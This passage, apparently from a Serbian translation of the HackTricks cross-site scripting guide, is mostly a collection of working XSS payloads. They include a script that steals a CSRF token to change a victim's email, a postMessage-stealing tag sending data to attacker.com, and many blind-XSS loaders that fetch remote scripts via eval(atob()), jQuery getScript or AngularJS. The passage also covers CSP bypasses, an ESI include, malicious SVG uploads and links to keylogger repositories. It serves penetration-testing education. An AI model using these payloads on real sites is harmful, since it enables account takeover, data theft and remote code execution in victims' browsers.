injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” kako biste obezbedili pravi globalni binding koji se ne može ponovo vezati. - Kada filteri po ključnim rečima blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili isporukom preko
eval(atob('...'))
, kao što je prikazano gore.
Keylogger
Samo pretragom na github-u pronašao sam nekoliko različitih:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Takođe možete koristiti metasploit
http_javascript_keylogger
Krađa CSRF tokena
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Krađa PostMessage poruka
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Zloupotreba Service Workers
Pristup Shadow DOM
Polyglots
Blind XSS payloads
Takođe možete koristiti: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Pristup skrivenom sadržaju
From this writeup it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS - iskorišćavanje drugih ranjivosti
XSS u Markdown
Može li se ubaciti Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proveri:
XSS u SSRF
Imate XSS na sajtu koji koristi keširanje? Pokušajte nadograditi ga na SSRF kroz Edge Side Include Injection sa ovim payload:
<esi:include src="http://yoursite.com/capture" />
Koristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\
Više informacija o ovoj tehnici ovde: XSLT.
XSS u dinamički kreiranom PDF-u
Ako web stranica kreira PDF koristeći unos koji kontroliše korisnik, možete pokušati da prevarite bota koji kreira PDF da počne sa izvršavanjem proizvoljnog JS koda.\
Dakle, ako PDF creator bot pronađe neke HTML tagove, on će ih interpretirati, i možete ovo iskoristiti da prouzrokujete Server XSS.
Ako ne možete da injektujete HTML tagove, možda vredi pokušati da injektujete PDF podatke:
XSS in Amp4Email
AMP, namenjen ubrzavanju performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa fokusom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih preko AMP components.
The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
Primer writeup XSS in Amp4Email in Gmail.
XSS uploading files (svg)
Otpremite kao sliku fajl poput sledećeg (sa http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Pronađi više SVG payloads na https://github.com/allanlw/svg-cheatsheet
Razni JS trikovi i relevantne informacije
Misc JS Tricks & Relevant Info
XSS resursi
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.